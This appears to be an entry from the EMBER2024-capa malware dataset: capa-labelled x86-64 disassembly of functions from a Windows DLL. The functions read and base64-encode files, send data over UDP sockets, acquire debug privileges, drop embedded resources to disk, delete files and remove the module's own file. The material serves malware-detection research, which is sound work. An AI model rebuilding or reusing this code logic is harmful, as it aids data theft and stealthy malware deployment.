joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180004870
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x60
mov rax, qword [0x1803b0b00]
xor rax, rsp
mov qword [rsp + 0x50], rax
movzx eax, byte [0x180364a10]
movaps xmm0, xmmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
movaps xmm1, xmmword [0x1803649e0]
mov byte [rsp + 0x40], al
mov r10, rdx
mov eax, 0x55555556
mov esi, r8d
xor ebx, ebx
mov r11, rcx
movaps xmmword [rsp], xmm0
movaps xmm0, xmmword [0x1803649f0]
movaps xmmword [rsp + 0x10], xmm1
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
movaps xmm1, xmmword [0x180364a00]
movaps xmmword [rsp + 0x20], xmm0
lea eax, [rdx + rdx*2]
sub esi, eax
movaps xmmword [rsp + 0x30], xmm1
test edx, edx
jle 0x180004972
mov qword [rsp + 0x70], rdi
lea ebx, [rdx*4]
mov edi, edx
nop dword [rax + rax]
movzx ecx, byte [r11 + 1]
movzx edx, byte [r11]
movzx r9d, byte [r11 + 2]
mov r8d, ecx
shr ecx, 4
mov eax, edx
shr rax, 2
add r10, 4
add r11, 3
movzx eax, byte [rsp + rax]
mov byte [r10 - 4], al
mov eax, edx
shl eax, 4
or rcx, rax
and ecx, 0x3f
movzx eax, byte [rsp + rcx]
mov ecx, r9d
mov byte [r10 - 3], al
lea eax, [r8*4]
shr rcx, 6
or rcx, rax
and ecx, 0x3f
movzx eax, byte [rsp + rcx]
mov byte [r10 - 2], al
mov eax, r9d
and eax, 0x3f
dec rdi
movzx eax, byte [rsp + rax]
mov byte [r10 - 1], al
jne 0x180004900
mov rdi, qword [rsp + 0x70]
cmp esi, 1
jne 0x1800049aa
movzx ecx, byte [r11]
mov eax, ecx
and ecx, 3
shr rax, 2
shl ecx, 4
movzx eax, byte [rsp + rax]
movsxd rcx, ecx
movzx edx, byte [rsp + rcx]
mov byte [r10], al
lea eax, [rbx + 4]
mov byte [r10 + 1], dl
mov word [r10 + 2], 0x3d3d
mov byte [r10 + 4], 0
jmp 0x180004a06
cmp esi, 2
jne 0x180004a00
movzx edx, byte [r11]
movzx r8d, byte [r11 + 1]
mov eax, edx
shr rax, 2
movzx eax, byte [rsp + rax]
mov byte [r10], al
mov eax, edx
and eax, 3
shl eax, 4
movsxd rcx, eax
mov eax, r8d
and r8d, 0xf
shr eax, 4
or rcx, rax
shl r8d, 2
movzx eax, byte [rsp + rcx]
mov byte [r10 + 1], al
movsxd rax, r8d
movzx ecx, byte [rsp + rax]
lea eax, [rbx + 4]
mov byte [r10 + 2], cl
mov word [r10 + 3], 0x3d
jmp 0x180004a06
mov byte [r10], 0
mov eax, ebx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.180146c80
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rsi
ret
Function at 0x180004a30
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x78], rbp
mov rdi, rdx
mov rbx, rcx
xor eax, eax
mov dword [rsp + 0x70], eax
mov qword [rcx + 0x18], send
mov qword [rcx + 0x10], rax
mov byte [rcx], al
xor r8d, r8d
lea rdx, [0x180364c6e]
call fcn.1800081f0
mov dword [rsp + 0x70], 1
lea rdx, [0x180364200]
mov rcx, rdi
call fcn.1801471a8
mov rbp, rax
test rax, rax
je 0x180004bab
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rax
call fcn.180146d54
mov rcx, rbp
call fcn.18014736c
movsxd rsi, eax
cmp esi, 0x64
jle 0x180004b92
mov rcx, rsi
call fcn.18000c604
mov r12, rax
test rax, rax
je 0x180004ba1
xor r8d, r8d
xor edx, edx
mov rcx, rbp
call fcn.180146d54
mov r8, rsi
xor edx, edx
mov rcx, r12
call fcn.18014af80
mov r9, rbp
mov r8, rsi
mov edx, 1
mov rcx, r12
call fcn.1801470b0
mov r13, rax
cmp eax, esi
jne 0x180004b77
lea ecx, [rax + rax]
movsxd r14, ecx
mov rcx, r14
call fcn.18000c604
mov rsi, rax
test rax, rax
je 0x180004b88
mov r8, r14
xor edx, edx
mov rcx, rax
call fcn.18014af80
mov r8d, r13d
mov rdx, rsi
mov rcx, r12
call fcn.180004870
test eax, eax
jle 0x180004b5e
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rsi
mov rcx, rbx
call fcn.1800081f0
jmp 0x180004b6d
mov rdx, rdi
lea rcx, str.Encode_file__s__failed
call fcn.18000b040
mov rcx, rsi
call fcn.18000c5fc
jmp 0x180004b88
mov r8d, esi
mov edx, eax
lea rcx, str.Read_file_failed__ncSizeRead__d____ncFileSize__d__
call fcn.18000b040
mov rcx, r12
call fcn.18000c5fc
jmp 0x180004ba1
mov rdx, rdi
lea rcx, str.Get_files__s__length_failed_
call fcn.18000b040
mov rcx, rbp
call fcn.180147440
jmp 0x180004bba
mov rdx, rdi
lea rcx, str.Open_file__s__failed_
call fcn.18000b040
mov rax, rbx
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x78]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x180004f30
Capabilities:
Initialize winsock library
Send data
Send data on socket

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x1f0
mov rax, qword [0x1803b0b00]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
mov rsi, rcx
mov rbx, rdx
lea rcx, [0x180364b90]
mov rdx, r8
mov rdi, r8
call fcn.18000b040
lea rdx, [rsp + 0x40]
mov ecx, 0x101
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x180005020
movzx eax, word [rsp + 0x40]
cmp al, 1
jne 0x18000501a
shr ax, 8
cmp al, 1
jne 0x18000501a
mov qword [rsp + 0x228], rbp
mov ebp, 2
mov ecx, 0x270f
mov word [rsp + 0x30], bp
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, rdi
mov word [rsp + 0x32], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
xor r8d, r8d
mov edx, ebp
mov ecx, ebp
mov dword [rsp + 0x34], eax
call qword [sym.imp.WS2_32.dll_socket]
mov rbp, qword [rsp + 0x228]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000501a
movsx r8d, word [rbx + 0x71a]
lea rax, [rsp + 0x30]
xor r9d, r9d
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
jne 0x18000503d
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.180146c80
add rsp, 0x1f0
pop rdi
pop rsi
pop rbx
ret
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x30]
lea rdx, [rbx + 0x34e]
mov r8, rdi
mov rcx, rsi
call fcn.180004280
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rsp + 0x30]
lea rcx, [rbx + 0x34e]
mov rdx, rdi
call fcn.180004be0
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rcx, [0x180364ba8]
call fcn.18000b040
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x180005022

Function at 0x1800088d0
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x58
mov rax, qword [0x1803b0b00]
xor rax, rsp
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180008959
lea r8, [rsp + 0x3c]
lea rdx, [0x180364db8]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x180008953
xor eax, eax
lea r8, [rsp + 0x38]
xor edx, edx
mov qword [rsp + 0x28], rax
lea r9d, [rax + 0x10]
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x44], 2
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x18000896d
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180146c80
add rsp, 0x58
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x30]
test eax, eax
jne 0x180008953
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180146c80
add rsp, 0x58
ret
Function at 0x180008c90
Capabilities:
Check if file exists
Delete directory
Delete file
Get file attributes

Disassembly:
mov rax, rsp
push rbp
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 0x38], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
mov rax, qword [0x1803b0b00]
xor rax, rsp
mov qword [rbp - 8], rax
lea rbx, str.TMPE.lnk
xor r12d, r12d
lea rsi, [0x1803bc9c0]
nop word [rax + rax]
mov r8, qword [rbx]
lea rdx, [0x1803bca00]
lea rcx, [rbp - 0x30]
call fcn.180007050
nop
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x180008d12
jmp 0x180008dda
lea rcx, [rbp - 0x30]
test al, 0x10
je 0x180008d2c
cmp qword [rbp - 0x18], 0x10
cmovae rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x180008d3c
cmp qword [rbp - 0x18], 0x10
cmovae rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x180008dda
lea rdi, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdi, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rdi
lea rcx, [0x180364e40]
call fcn.18000b040
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
mov qword [rbp - 0x48], send
mov qword [rbp - 0x50], r12
mov byte [rbp - 0x60], 0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp - 0x60]
call fcn.1800081f0
lea rcx, [rbp - 0x60]
call fcn.1800089a0
mov qword [rbp - 0x48], send
mov qword [rbp - 0x50], r12
mov byte [rbp - 0x60], 0
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x60]
call fcn.1800086e0
lea rcx, [rbp - 0x60]
call fcn.180009340
nop
cmp qword [rbp - 0x18], 0x10
jb 0x180008dea
mov rcx, qword [rbp - 0x30]
call fcn.18000c5fc
add rbx, 8
cmp rbx, rsi
jl 0x180008ce0
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
call qword [sym.imp.USER32.dll_InvalidateRect]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.180146c80
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r12, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180008e30
Capabilities:
Print debug messages
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x260
mov rax, qword [0x1803b0b00]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rcx
mov rsi, rdx
lea rcx, [rsp + 0x51]
xor bl, bl
xor edx, edx
mov r8d, 0x1ff
mov byte [rsp + 0x50], bl
call fcn.18014af80
lea r11, [rsp + 0x38]
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rdi
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180008f57
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea rsi, str.Version
xor r8d, r8d
mov rdx, rsi
mov dword [rsp + 0x30], 0x104
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180008f17
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str.GetRegData:RegQueryValueEx:_s__s_success_ret:_d._n
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov r9, rdi
mov edx, 0x1ff
mov qword [rsp + 0x20], rsi
call fcn.180148b60
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x38]
mov bl, 1
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x180008f85
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str.GetRegData:RegQueryValueEx:_s__s_error_ret:_d._n
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov r9, rdi
mov edx, 0x1ff
mov qword [rsp + 0x20], rsi
call fcn.180148b60
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x180008f85
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str.GetRegData:RegOpenKeyEx:_s_error_ret:_d._n
lea rcx, [rsp + 0x50]
mov r9, rdi
mov edx, 0x1ff
mov dword [rsp + 0x20], eax
call fcn.180148b60
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
movzx eax, bl
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.180146c80
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180008fb0
Capabilities:
Print debug messages
Read .ini file

Disassembly:
mov qword [rsp + 8], rdi
push rbp
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [0x1803b0b00]
xor rax, rsp
mov qword [rbp + 0x250], rax
lea rcx, [rbp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rbp + 0x30], 0
call fcn.18014af80
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x20], 0
call fcn.18014af80
lea rcx, [rbp + 0x141]
xor edx, edx
mov r8d, 0x103
mov byte [rbp + 0x140], 0
call fcn.18014af80
mov rcx, qword [0x1803cac60]
lea rdx, [rbp + 0x140]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
mov byte [rbp + 0x143], 0
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x140]
lea r9, [rbp + 0x140]
repne scasb al, byte [rdi]
mov rax, qword [str.:RECYCLEdate.dat]
lea rdx, str.VerType
mov qword [rdi - 1], rax
mov rax, qword [0x180364ef8]
lea rcx, str.Main
mov qword [rdi + 7], rax
movzx eax, word [0x180364f00]
xor r8d, r8d
mov word [rdi + 0xf], ax
movzx eax, byte [0x180364f02]
mov byte [rdi + 0x11], al
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
lea rdx, [rsp + 0x20]
cmp eax, 2
jne 0x1800090b5
lea rcx, str.SOFTWAREWow6432Node30wishSYKX_
call fcn.180008e30
lea r8, [0x180364f48]
jmp 0x180009108
cmp eax, 1
jne 0x1800090cf
lea rcx, str.SOFTWAREWow6432Node30wishWQYH_
call fcn.180008e30
lea r8, [0x180364f88]
jmp 0x180009108
lea rcx, str.SOFTWAREWow6432Node30wishSYKX_
call fcn.180008e30
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x20]
repne scasb al, byte [rdi]
not rcx
dec rcx
jne 0x180009101
lea rdx, [rsp + 0x20]
lea rcx, str.SOFTWAREWow6432Node30wishWQYH_
call fcn.180008e30
lea r8, [0x180364fa0]
lea r9, [rsp + 0x20]
lea rcx, [rbp + 0x30]
mov edx, 0x103
call fcn.180148b60
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x20]
repne scasb al, byte [rdi]
not rcx
dec rcx
sete al
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.180146c80
mov rdi, qword [rsp + 0x370]
add rsp, 0x360
pop rbp
ret
Function at 0x180009160
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push rdi
push r12
push r13
sub rsp, 0x50
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rsi
mov rdi, rdx
mov ebx, ecx
mov rsi, qword [0x1803cac60]
lea rcx, [0x180364fb8]
call fcn.18000b040
movzx r12d, bx
lea r8, [0x180364ab4]
mov edx, r12d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
jne 0x1800091f4
mov r9d, 0x8a02
lea r8, [0x180364ab4]
mov edx, r12d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceExA]
mov rbx, rax
test rax, rax
jne 0x1800091f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rdi
lea rcx, str.____MyResourceFindResource__s_hr_error__d_n
call fcn.18000b040
xor eax, eax
jmp 0x180009325
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r12d, eax
test eax, eax
jne 0x18000921d
mov rdx, rdi
lea rcx, str.____MyResourceFindResource__s_hr_error__n
call fcn.18000b040
xor eax, eax
jmp 0x180009325
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
jne 0x180009259
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rdi
lea rcx, str.____MyResourceLoadResource__s_hr_error__d_n
call fcn.18000b040
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x180009325
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
jne 0x18000928f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rdi
lea rcx, str.____MyResourceLockResource___s_hr_error__d_n
call fcn.18000b040
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x180009325
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r13, rax
test rax, rax
jne 0x1800092e9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rdi
lea rcx, str.____MyResourceCreateFile_hr__s_error__d_n
call fcn.18000b040
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x180009325
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x80]
mov r8d, r12d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 1
jmp 0x180009325
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop r13
pop r12
pop rdi
ret
Function at 0x180009340
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rax, qword [0x1803b0b00]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
mov r9d, 4
xor r8d, r8d
lea rdx, str..lnk
call fcn.180005bf0
cmp rax, 0xffffffffffffffff
jne 0x180009397
cmp qword [rbx + 0x18], 0x10
jb 0x180009390
mov rcx, qword [rbx]
call fcn.18000c5fc
xor al, al
jmp 0x18000941b
cmp qword [rbx + 0x18], 0x10
jb 0x1800093a3
mov rcx, qword [rbx]
jmp 0x1800093a6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1800093b3
jmp 0x180009381
test al, 2
jne 0x18000940a
cmp qword [rbx + 0x18], 0x10
jb 0x1800093c3
mov rcx, qword [rbx]
jmp 0x1800093c6
mov rcx, rbx
or eax, 2
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1800093e2
mov rcx, rbx
call fcn.180008880
xor al, al
jmp 0x18000942e
cmp qword [rbx + 0x18], 0x10
jb 0x1800093ee
mov rdx, qword [rbx]
jmp 0x1800093f1
mov rdx, rbx
lea rcx, [0x1803650e8]
call fcn.18000b040
nop
mov rcx, rbx
call fcn.180008880
mov al, 1
jmp 0x18000942e
cmp qword [rbx + 0x18], 0x10
jb 0x180009419
mov rcx, qword [rbx]
call fcn.18000c5fc
mov al, 1
mov qword [rbx + 0x18], send
mov qword [rbx + 0x10], 0
mov byte [rbx], 0
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.180146c80
add rsp, 0x40
pop rbx
ret

Function at 0x180009560
Capabilities:
Check if file exists
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x140
mov rax, qword [0x1803b0b00]
xor rax, rsp
mov qword [rsp + 0x130], rax
lea rcx, [rsp + 0x21]
xor ebx, ebx
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x20], bl
call fcn.18014af80
lea rcx, [rsp + 0x20]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
xor eax, eax
mov byte [rsp + 0x23], bl
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x20]
repne scasb al, byte [rdi]
mov rax, qword [str.test.txt]
lea rcx, [rsp + 0x20]
mov qword [rdi - 1], rax
movzx eax, byte [0x180365108]
mov byte [rdi + 7], al
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov ecx, 1
test eax, eax
cmovne ebx, ecx
mov eax, ebx
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.180146c80
mov rbx, qword [rsp + 0x150]
add rsp, 0x140
pop rdi
ret
Function at 0x180009610
Capabilities:
Get common file path
Move file

Disassembly:
push rbx
sub rsp, 0x250
mov rax, qword [0x1803b0b00]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rbx, rcx
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x20], 0
call fcn.18014af80
lea rcx, [rsp + 0x131]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x130], 0
call fcn.18014af80
lea rdx, [rsp + 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rcx, [rsp + 0x20]
mov r8d, 3
mov rdx, rbx
call fcn.18014c1c8
test eax, eax
je 0x18000969c
lea rcx, [rsp + 0x20]
mov r8d, 3
mov rdx, rbx
call fcn.180147d90
lea r9, [rsp + 0x130]
lea rdx, [0x18036510c]
lea rcx, [rsp + 0x20]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x1800096f3
lea rdx, [rsp + 0x130]
mov r8d, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
je 0x1800096f3
xor edx, edx
lea rcx, [rsp + 0x130]
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
mov eax, 1
jmp 0x1800096f5
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.180146c80
add rsp, 0x250
pop rbx
ret

Function at 0x180009710
Capabilities:
Check if file exists
Delete file
Set file attributes

Disassembly:
sub rsp, 0x148
mov rax, qword [0x1803b0b00]
xor rax, rsp
mov qword [rsp + 0x130], rax
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x20], 0
call fcn.18014af80
lea rdx, [rsp + 0x20]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x20]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1800097ca
lea rcx, [rsp + 0x20]
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1800097ca
lea rcx, [rsp + 0x20]
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
je 0x1800097a4
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1800097ca
lea rcx, [rsp + 0x20]
call fcn.180009610
test eax, eax
jne 0x1800097ca
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.180146c80
add rsp, 0x148
ret
mov eax, 1
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.180146c80
add rsp, 0x148
ret
Function at 0x180009dd0
Capabilities:
Create process on windows
Print debug messages

Disassembly:
push rbx
sub rsp, 0x2f0
mov rax, qword [0x1803b0b00]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
mov rbx, rcx
lea rcx, [rsp + 0xe1]
xor edx, edx
mov r8d, 0x1ff
mov byte [rsp + 0xe0], 0
call fcn.18014af80
xor edx, edx
lea rcx, [rsp + 0x78]
lea r8d, [rdx + 0x60]
call fcn.18014af80
xor r11d, r11d
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r11
mov qword [rsp + 0x30], r11
mov dword [rsp + 0x28], r11d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x50], r11
mov dword [rsp + 0x70], WSAGetLastError
mov dword [rsp + 0x20], r11d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180009e8c
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180009eb7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Create_process_fail_error_code_is:_d_n
lea rcx, [rsp + 0xe0]
mov r8d, eax
call fcn.180147ef4
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor eax, eax
mov rcx, qword [rsp + 0x2e0]
xor rcx, rsp
call fcn.180146c80
add rsp, 0x2f0
pop rbx
ret